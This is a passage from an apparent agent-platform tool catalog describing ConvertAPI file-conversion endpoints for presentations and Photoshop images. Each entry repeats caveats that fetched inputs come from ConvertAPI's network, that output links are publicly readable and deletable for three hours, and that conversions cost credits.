ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/potx/to/webp. Scopes: api. convertapi_post_convert_ppsx_to_jpg (write) — PPSX to JPG Conversion API via POST /convert/ppsx/to/jpg. Convert PPS and PPSX slide shows to JPG images for previews, review, and archival. Open password-protected files, choose slide ranges, and include hidden slides to preserve context. Control output with image resolution (DPI), explicit width/height, output color space, and JPEG quality to balance clarity and file size. Designed for automation and batch processing, the API produces predictable results across diverse decks and layouts. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/ppsx/to/jpg. Scopes: api. convertapi_post_convert_ppsx_to_pdf (write) — PPSX to PDF Conversion API via POST /convert/ppsx/to/pdf. Convert Microsoft PowerPoint PPS and PPSX slide shows to high-quality PDF for distribution, review, and archiving. Open password-protected files, specify slide ranges, and choose whether to include hidden slides. Preserve context by exporting speaker notes, embed fonts for consistent rendering across devices, and optionally enable PDF/A compliance for long-term preservation. Designed for automation and batch processing, the API produces predictable results across diverse decks and layouts. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/ppsx/to/pdf. Scopes: api. convertapi_post_convert_ppsx_to_png (write) — PPSX to PNG Conversion API via POST /convert/ppsx/to/png. Convert PPS and PPSX slide shows to PNG images for previews, review, and archival. Open password-protected files, choose slide ranges, and include hidden slides to preserve context. Control output with image resolution (DPI), explicit width/height, output color space, anti-aliasing for crisp text and lines, and background color for predictable compositing. Designed for automation and batch processing, the API produces reliable, lossless images across diverse decks and layouts. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/ppsx/to/png. Scopes: api. convertapi_post_convert_ppsx_to_pptx (write) — PPSX to PPTX PowerPoint Conversion API via POST /convert/ppsx/to/pptx. Convert Microsoft PowerPoint slide-show files (PPSX) to standard PPTX presentations to improve interoperability and reduce file issues. Handle password-protected inputs when required and preserve document metadata as part of the conversion pipeline. Use this API to standardize decks for analytics, automation, and collaboration, ensuring consistent structure and rendering across Office versions and platforms. Ideal for bulk migrations, workflow normalization, and preparing slides for downstream systems that expect well-formed PPTX files. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/ppsx/to/pptx. Scopes: api. convertapi_post_convert_ppsx_to_tiff (write) — PPSX to TIFF Conversion API via POST /convert/ppsx/to/tiff. Convert PPSX slide shows to TIFF images for records management, print workflows, and interoperability. Open password-protected files, choose slide ranges, and include hidden slides to preserve context. Control output with image resolution (DPI), explicit width/height, output color space, and compression settings to balance fidelity and file size. Designed for automation and batch processing, the API produces consistent, high-fidelity images across diverse decks and layouts. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/ppsx/to/tiff. Scopes: api. convertapi_post_convert_ppsx_to_webp (write) — PPSX to WebP Conversion API via POST /convert/ppsx/to/webp. Convert PPSX slide shows to modern WebP images for compact, high-quality delivery. Open password-protected files, choose slide ranges, and include hidden slides to preserve context. Control output with image resolution (DPI), explicit width/height, output color space, and anti-aliasing for crisp text and lines. Select lossless or lossy compression and adjust quality to balance fidelity and file size across web and mobile use cases. Designed for automation and batch processing, the API produces reliable images from diverse decks. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/ppsx/to/webp. Scopes: api. convertapi_post_convert_ppt_to_pptx (write) — PPT to PPTX API via POST /convert/ppt/to/pptx. Convert legacy Microsoft PowerPoint (PPT) presentations to modern PPTX to improve interoperability and reduce file issues. Handle password-protected inputs when required and preserve document metadata as part of the conversion pipeline. Use this API to standardize older decks for analytics, automation, and collaboration, ensuring consistent structure and rendering across Office versions and platforms. Ideal for bulk migrations, workflow normalization, and preparing slides for downstream systems that expect well-formed PPTX files. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/ppt/to/pptx. Scopes: api. convertapi_post_convert_pptx_to_jpg (write) — PPTX to JPG Conversion API via POST /convert/pptx/to/jpg. Convert PPT/PPTX presentations to JPG images for previews, review, and archival. Open password-protected files, choose slide ranges, and include hidden slides to preserve context. Control output with image resolution (DPI), explicit width/height, output color space, and JPEG quality to balance clarity and file size. Designed for automation and batch processing, the API produces predictable results across diverse decks and layouts. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/pptx/to/jpg. Scopes: api. convertapi_post_convert_pptx_to_md (write) — PowerPoint to Markdown Conversion API via POST /convert/pptx/to/md. Convert PowerPoint presentations (PPT/PPTX) into clean, readable Markdown built for AI applications, LLM ingestion, embeddings, RAG pipelines, and documentation workflows. Every slide becomes a section under its title heading, bullet levels turn into nested Markdown lists, tables become Markdown tables, and charts are recovered as tables of their data points. SmartArt diagrams contribute their text, so the full slide story survives the conversion. You choose what is converted. Select slides with the PageRange parameter, include hidden slides on request, and bring in each slide's speaker notes as quote blocks: the narrative that usually lives only in the presenter's notes becomes part of the... The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/pptx/to/md. Scopes: api. convertapi_post_convert_pptx_to_merge (write) — Merge PPTX API via POST /convert/pptx/to/merge. The Merge PPTX API allows users to combine multiple PowerPoint presentations into a single PPTX file. Some key features of the Merge PPTX API include keeping the original design of every merged presentation, with themes, colors, fonts, and slide layouts preserved as they appear in the source files, or restyling all slides with the design of the first presentation for a uniform look. Password protected presentations are supported, and legacy PPT files can be mixed with PPTX. This API is useful for assembling slide decks from reusable sections, combining team contributions into one presentation, and automating recurring report decks. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/pptx/to/merge. Scopes: api. convertapi_post_convert_pptx_to_pdf (write) — PPTX to PDF Conversion API via POST /convert/pptx/to/pdf. Convert PowerPoint PPT/PPTX presentations to high-quality PDF for distribution, review, and archiving. Open password-protected files, specify slide ranges, and choose whether to include hidden slides. Preserve context by exporting speaker notes, embed fonts for consistent rendering across devices, and retain document metadata. Apply PDF/A compliance when long-term preservation is required. Designed for automation and batch processing, the API produces predictable results that maintain layout fidelity across images, text, shapes, and charts. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/pptx/to/pdf. Scopes: api. convertapi_post_convert_pptx_to_png (write) — PPTX to PNG Conversion API via POST /convert/pptx/to/png. Convert PPT/PPTX presentations to PNG images for previews, review, and archival. Open password-protected files, choose slide ranges, and include hidden slides to preserve context. Control output with image resolution (DPI), explicit width/height, output color space, anti-aliasing for crisp text and lines, and background color for predictable compositing. Designed for automation and batch processing, the API produces reliable, lossless images across diverse decks and layouts. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/pptx/to/png. Scopes: api. convertapi_post_convert_pptx_to_pptx (write) — PPTX to PPTX Conversion API via POST /convert/pptx/to/pptx. Convert or re-save Microsoft PowerPoint (PPTX) presentations to a clean PPTX to improve interoperability and reduce file issues. Handle password-protected inputs when required and preserve document metadata as part of the conversion pipeline. Use this API to standardize files for analytics, automation, and collaboration, ensuring consistent structure and rendering across Office versions and platforms. Ideal for bulk migrations, workflow normalization, and preparing decks for downstream systems that expect modern, well-formed PPTX files. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/pptx/to/pptx. Scopes: api. convertapi_post_convert_pptx_to_protect (write) — Protect PowerPoint API via POST /convert/pptx/to/protect. Protect Microsoft PowerPoint presentations with robust password-based encryption to keep sensitive decks secure at rest and in transit. Apply a user-defined password, restrict actions such as editing or printing when supported, and preserve slide fidelity and metadata. Use this API to enforce policy in automated pipelines, prepare decks for external distribution, and meet archival or regulatory requirements without manual steps. Designed for batch processing, it produces predictable, consistent results across varied files. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/pptx/to/protect. Scopes: api. convertapi_post_convert_pptx_to_tiff (write) — PPTX to TIFF Conversion API via POST /convert/pptx/to/tiff. Convert PPT/PPTX presentations to TIFF images for records management, print workflows, and interoperability. Open password-protected files, choose slide ranges, and include hidden slides to preserve context. Control output with image resolution (DPI), explicit width/height, output color space, and compression settings to balance fidelity and file size. Designed for automation and batch processing, the API produces consistent, high-fidelity images across diverse decks and layouts. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/pptx/to/tiff. Scopes: api. convertapi_post_convert_pptx_to_txt (write) — PPTX to TXT API via POST /convert/pptx/to/txt. Extract text from PowerPoint PPT and PPTX presentations and save it as a plain TXT file. The API captures text from slide titles, bullet lists, text boxes, and tables, and optional OCR also recognizes text embedded in pictures and scanned slide images. Open password-protected presentations, extract specific slides with a slide range, and choose whether hidden slides are included. Enable the IncludeFormatting option to preserve the visual text layout of each slide, or produce clean unformatted text that is ready for full-text search indexing, content analysis, translation, and AI or LLM data pipelines. Designed for automation and batch processing, the converter returns predictable plain text... The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/pptx/to/txt. Scopes: api. convertapi_post_convert_pptx_to_webp (write) — PPTX to WebP Conversion API via POST /convert/pptx/to/webp. Convert PPT/PPTX presentations to modern WebP images for compact, high-quality delivery. Open password-protected files, choose slide ranges, and include hidden slides to preserve context. Control output with image resolution (DPI), explicit width/height, output color space, and anti-aliasing for crisp text and lines. Select lossless or lossy compression and adjust quality to balance fidelity and file size across web and mobile use cases. Designed for automation and batch processing, the API produces reliable images from diverse decks. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/pptx/to/webp. Scopes: api. convertapi_post_convert_psd_to_jpg (write) — PSD to JPG Conversion API via POST /convert/psd/to/jpg. Convert layered Adobe Photoshop (PSD) images to JPG while handling alpha transparency that JPEG does not support. Replace transparent regions with a specified background color to maintain intended appearance across light and dark themes. Automatically flatten layers and use general image controls to set resolution (DPI), scaling behavior, and explicit width/height for consistent layout. Choose color space for predictable rendering and adjust JPEG quality to balance visual clarity and file size. Ideal for preparing design assets for web, mobile, email previews, and archival systems that require opaque raster images. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/psd/to/jpg. Scopes: api. convertapi_post_convert_psd_to_png (write) — PSD to PNG Conversion API via POST /convert/psd/to/png. Convert layered Adobe Photoshop (PSD) images to widely supported PNG format for web, mobile, and application use. Automatically flatten layers and use general image controls to adjust resolution (DPI), choose scaling behavior, and specify explicit width/height for consistent output. Map a specific color to transparency when needed to preserve foreground elements over UI backgrounds, and set color space for predictable rendering across devices. Ideal for preparing design assets for distribution or display where lossless compression and alpha transparency are beneficial. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/psd/to/png. Scopes: api. convertapi_post_convert_psd_to_pnm (write) — PSD to PNM Conversion API via POST /convert/psd/to/pnm. Convert layered Adobe Photoshop (PSD) images to Portable Any Map (PNM) formats for simple, interoperable raster output (PBM/PGM/PPM). Flatten layers automatically and use general image controls to set resolution (DPI), scaling behavior, and explicit width/height for predictable results. Adjust color handling for accurate grayscale or RGB output and map transparent regions to a chosen color to fit downstream tools that lack alpha support. Ideal for processing pipelines that require lightweight, uncompressed representations for analysis, testing, or long-term preservation. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/psd/to/pnm. Scopes: api. convertapi_post_convert_psd_to_svg (write) — PSD to SVG Conversion API via POST /convert/psd/to/svg. Convert layered Adobe Photoshop (PSD) images to SVG for easy embedding in documents and workflows. Automatically flatten layers and export with precise control: set resolution (DPI), choose scaling behavior, and define exact width/height to match design systems or storage constraints. Select an appropriate color space for predictable cross-device rendering and adjust quality settings to balance visual fidelity with compact file size. Ideal for automation pipelines, previews, and distribution where SVG containers provide compatibility and consistent characteristics. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/psd/to/svg. Scopes: api. convertapi_post_convert_psd_to_tiff (write) — PSD to TIFF Conversion API via POST /convert/psd/to/tiff. Convert layered Adobe Photoshop (PSD) images to robust TIFF format suitable for long-term archiving, print workflows, and interoperability. Automatically flatten layers, choose single- or multi-page output to consolidate sequences, adjust color space for device consistency, and fine-tune compression/quality for the target use case. Set resolution (DPI), scaling behavior, and explicit width/height to meet layout or storage constraints. Ideal for records retention, pre-press pipelines, and systems requiring predictable, high-fidelity TIFF output. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/psd/to/tiff. Scopes: api. convertapi_post_convert_psd_to_webp (write) — PSD to WebP Conversion API via POST /convert/psd/to/webp. Convert layered Adobe Photoshop (PSD) images to modern WebP for smaller file sizes and fast delivery. Automatically flatten layers and use general image controls to set resolution (DPI), choose scaling behavior, and define explicit width/height so outputs match UI layouts or storage constraints. Select lossless or lossy compression and adjust the quality factor to balance clarity and size, and choose an appropriate color space for consistent rendering across platforms. Ideal for web and mobile delivery, batch optimization pipelines, and CDN workflows where small, visually faithful images are desired. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/psd/to/webp. Scopes: api. 